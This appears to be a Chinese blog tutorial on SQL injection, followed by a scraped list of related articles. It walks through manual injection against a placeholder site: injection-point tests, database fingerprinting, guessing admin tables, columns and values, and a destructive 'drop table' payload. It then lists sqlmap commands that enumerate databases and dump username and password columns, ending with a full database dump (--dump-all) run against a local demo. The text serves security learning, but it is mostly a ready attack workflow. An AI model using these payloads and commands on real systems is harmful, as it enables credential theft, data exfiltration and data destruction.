01 注入原理
存在注入的原因是因为后台在编写程序时,没有对用户输入的数据做过滤导致的,正如事实上,不是所有的用户都是友好的

比如:用户在某个输入框提交的参数是 2

浏览器提交的URL为: http:// www.XXX.com/index.php?id=2

服务器后台执行SQL语句: select * from table1 where id = 2

返回Response,浏览器解析返回的页面,然后你就看到新的页面了

如果邪恶的用户提交的参数是 2;drop table1

服务器后台执行SQL语句: select * from table1 where id =2 ; drop table1

相当于后台执行了两条SQL语句,查表,并且把table1删除 - -

从而导致了SQL注入。

按照这个思路,现在写一下手工注入的一般步骤:

1、 判断是否存在注入点(数字型注入)

www.XXX.com/index.php?id=2‘–

www.XXX.com/index.php?id=2 and 1=1 –

www.XXX.com/index.php?id=2 and 1=2 –

第2条返回正常,第1,3条返回不正常说明id参数存在注入漏洞
  2、 判断数据库类型

可以根据不同数据库特有的表,或者根据不同数据库的语法不同进行判断

www.XXX.com/index.php?id=2 and exists(select * from sysobjects) – 返回正常是SQLServer 数据库

www.XXX.com/index.php?id=2 and exists(select * from msysobjects) – 返回正常是Access 数据库

www.XXX.com/index.php?id=2 and len(‘a’) = 1 –  返回正常是SQLServer或者MySQL

www.XXX.com/index.php?id=2 and substring(‘abc’,‘1’,‘1’) = a –  返回正常是SQLServer

www.XXX.com/index.php?id=2 and subStr(‘abc’,‘1’,‘1’)= a –  返回正常是Oracle

知道是哪种类型数据库后就可以选择对应语法构造SQL语句进行攻击

3、 判定是否存在admin表

www.XXX.com/index.php?id=2 and exists(select * from admin) – 返回正常 存在admin表

4、猜admin表中的字段名

www.XXX.com/index.php?id=2 and exists(select username from admin) – 返回正常 表示admin表存在username字段

5、 猜字段值

www.XXX.com/index.php?id=2 and exists(select * from admin where id =1 and asc(mid(username,1,1))) < 100 – 返回正常说明username中有ascii码小于100的字母,然后根据折半发准确判断是哪一个字符

以上是 SQLServer的手工注入步骤,在MySQL和Oracle中略有不同,思路还是这个样子,好了终于把这部分也不补上了~~

结束分割线

0x 02 安装SQLMap

1. 安装python

官网https://www.python.org/ 选择最新版本下载安装即可

因为SQLMap使用Python写的 ,所以没有Python的环境SQLMap无法运行

2. 安装SQLMap

官网 http://sqlmap.org/ 选择最近版本安装即可

3. 设置环境变量

为了使用便利,将SQLMAP的安装目录添加到系统环境变量中

之后在CMD中就可以直接使用SQLMap了

不设置环境变量的话,要把CMD的当前目录切换到SQLMap安装目录才可以使用

0x 03 SQLMap常用命令介绍

1. sqlmap.py -u “http://www.XXX.com/index.asp?id=1”

判断id参数是否存在注入:结果中包含 “id” is Vulnerable 字段表示存在注入

存在注入,下面的步骤才可以执行成功~

2. sqlmap.py -u “http://www.XXX.com/index.asp?id=1” --dbs

列举能列出的所有数据库名

3. sqlmap.py -u “http://www.XXX.com/index.asp?id=1” --current-db

列出当前使用的数据库名,假设列出“sqltest”数据库

4. sqlmap.py -u “http://www.XXX.com/index.asp?id=1” --is-dba

判断该注入点是否有管理员权限:返回true 表示是管理员

5. sqlmap.py -u “http://www.XXX.com/index.asp?id=1” -D “sqltest” --tables

获取sqltest中的所有表,假设有"admin"表

6. sqlmap.py -u “http://www.XXX.com/index.asp?id=1” -D “sqltest” -T “admin” --columns

列举表admin的字段(列名),假设存在"username","password"字段

7. sqlmap.py -u “http://www.XXX.com/index.asp?id=1” -D “sqltest” -T “admin” -C “username,password” --dump

下载字段username,password的值,若询问是否破解md5加密,选择no即可

至此,对一个简单的注入点(GET方式),现在就已经得到了我们想要的数据

想看工具的注入过程 使用-v参数

-level 会提高注入等级(默认0 只会判断get,post参数是否有注入点)

若注入点是POST方式,或是注入点才Cookie,User-Agent中,可以利用-Date 参数 -Cookie参数指定

当然用buip Suite架个代理,截取数据包,直接 -r 参数引入数据包也可以完成上述的注入情况的~

0x 04 注入Demo

本次演示使用Apache+Php +Mysql 环境,其他环境的话

使用SQLMap输入还是相同的命令,这点SQLMap做的好方便

sqlmap.py -u “http://127.0.0.1/sqlinject.php?id=1” --dbs 列所有数据库名

sqlmap.py -u “http://127.0.0.1/sqlinject.php?id=1” --current-db 列出当前数据库

sqlmap.py -u “http://127.0.0.1/sqlinject.php?id=1” --is-dba   判断注入点是否有管理员权限

sqlmap.py -u “http://127.0.0.1/sqlinject.php?id=1” -D “test” --tables  猜表名

sqlmap.py -u “http://127.0.0.1/sqlinject.php?id=1” -D “test” -T “test” --columns  猜字段名

sqlmap.py -u “http://127.0.0.1/sqlinject.php?id=1” -D “test” -T “test” -C “id,name” --dump 猜id和name的值

网络上流传的脱裤 用的可就是下面的一句话

sqlmap.py -u “http://127.0.0.1/sqlinject.php?id=1” -D “test” --dump-all

突然发现 强大的东西往往仅仅是一句话 ! !

这条命令会直接把test数据库中所有的表全部下载到安装目录output文件夹中

注入神器:sqlmap相关推荐

  1. 『安全工具』注入神器SQLMAP

    原文: 『安全工具』注入神器SQLMAP Pic by Baidu 0x 00 前言 正是SQLMAP这种神器的存在,SQL注入简直Easy到根本停不下来.... PS:国内类似软件也有阿D,明小子, ...

  2. 注入神器-----SqlMap的使用

    sqlmap GET参数: -u 网址 --dbs:获取注入点的所有数据库 -D:指定数据库     --tables:获取指定的表 -T:表名         --columns:获取表的指定字段 ...

  3. 注入神器 --SQLMAP使用示例

    文章目录 一.查看数据库内容 爆库 爆表 爆字段 仅列数据 爆字段(某表所有字段) 爆字段(某表个别列字段) 爆字段(某表前几行字段) 二.输出结果详细程度 三.多种注入方式 单目标地址注入(GET) ...

  4. sql 注入神器sqlmap 源码分析之调试sqlmap

    为什么80%的码农都做不了架构师?>>>    相信大家平时 用sqlmap 命令,比如 python sqlmap.py -u"https://team.oschina. ...

  5. SQL注入测试神器sqlmap

    点击上方蓝字"开源优测"一起玩耍 声明 本公众号所有内容,均属微信公众号: 开源优测  所有,任何媒体.网站或个人未经授权不得转载.链接.转贴或以其他方式复制发布/发表.已经本公众 ...

  6. 工具使用|神器Sqlmap tamper的使用介绍

    作者: 村里的小四 免责声明:本文仅供学习研究,严禁从事非法活动,任何后果由使用者本人负责. 0x01 前言 从开源软件Sqlmap学习字符的篡改,现在的web网络环境参数出入处基本都会过滤某些字符串 ...

  7. [网络安全提高篇] 一〇六.SQL注入之手工注入和SQLMAP入门案例详解

    当您阅读到该篇文章时,作者已经将"网络安全自学篇"设置成了收费专栏,首先说声抱歉.感谢这一年来大家的阅读和陪伴,这100篇安全文章记录了自己从菜鸡到菜鸟的成长史,该部分知识也花了很 ...

  8. 详解强大的SQL注入工具——SQLMAP

    本文转自:详解强大的SQL注入工具--SQLMAP 前言 Windows下的注入工具好的又贵,免费的啊D.明小子等又不好用,我们根本没必要花 时间去找什么破解的havij.pangolin什么的,特别 ...

  9. sql注入之——SQLMap常见语句

    填坑~~ SQLMap常见语句 首先要明确 整个的单词 需要用两个横杠– 缩写的单词 需要一个横杠- 参考:https://www.freebuf.com/sectool/164608.html 一. ...

  10. 渗透测试-SQL注入之sqlmap的使用方法及实战案例

    SQL注入之sqlmap的使用方法及实战案例 文章目录 SQL注入之sqlmap的使用方法及实战案例 前言 一.sqlmap的使用方法 查库,表,列,以及相关的字段的信息 万能密码汇总 判断是否为字符 ...

最新文章

  1. python入门须知:包、模块、库的含义以及导入以及包下__init__.py的作用
  2. java cqlfilter_Geoserver系列:将CQL转换OGC的xml过滤
  3. 二极管为什么单向导电?
  4. leetcode 721. 账户合并(并查集)
  5. POJ-3590 The shuffle Problem 置换+DP | DFS
  6. .ne中的控制器循环出来的数据如何显示在视图上_【asp.net core 系列】3 视图以及视图与控制器...
  7. 《Windows服务器配置与管理》------磁盘管理
  8. mysql驱动加载失败怎么办_为什么mysql加载驱动会报错呢输出的结果是加载驱动失败...
  9. ViewBinding使用时出现Could not find method viewBinding() for arguments错误
  10. SNAP Java API处理Sentinel-1数据
  11. C语言截取整数的某些位编程,C语言中位运算的巧用(转)
  12. go语言开发工具sublime text3 + gosublime配置
  13. FDTD快速入门之Lumerical脚本语言Pickup(七)数据获取与分析(Analysis)
  14. ESP8266-NodeMCU网络服务器——通过网页将文件上传到闪存文件系统
  15. 老男孩歌词--永恒的记忆
  16. 用单片机控制PH8810和无线收发模块实现远程控制家电
  17. jenkins从节点问题-windows重启导致从节点失联
  18. 5福最多多少钱_2018支付宝集5福最块获得五福卡方法 支付宝集五福福卡怎么获得...
  19. 什么叫版面_什么是版式设计?
  20. 把url字符串转成url对象

热门文章

  1. 软件设计模式 | 动态代理模式
  2. JRebel激活步骤
  3. 美国HostEase虚拟主机 实力打造IDC行业的领航者
  4. Axure RP 9 函数说明
  5. Linux 将进程放入后台执行,解决网络,ssh断开导致进程结束(nohup, setsid, , disown)...
  6. 集群管理——开机B7问题(内存条ERROR),caffe编译matlab接口错误解决方法
  7. API JSON 格式设计
  8. vivado 保存仿真波形
  9. 2009上半年全国计算机技术与软件,关于2009年上半年全国计算机软件专业技术资格和水平考试有关问题的通知...
  10. k8s docker空间使用分析与清理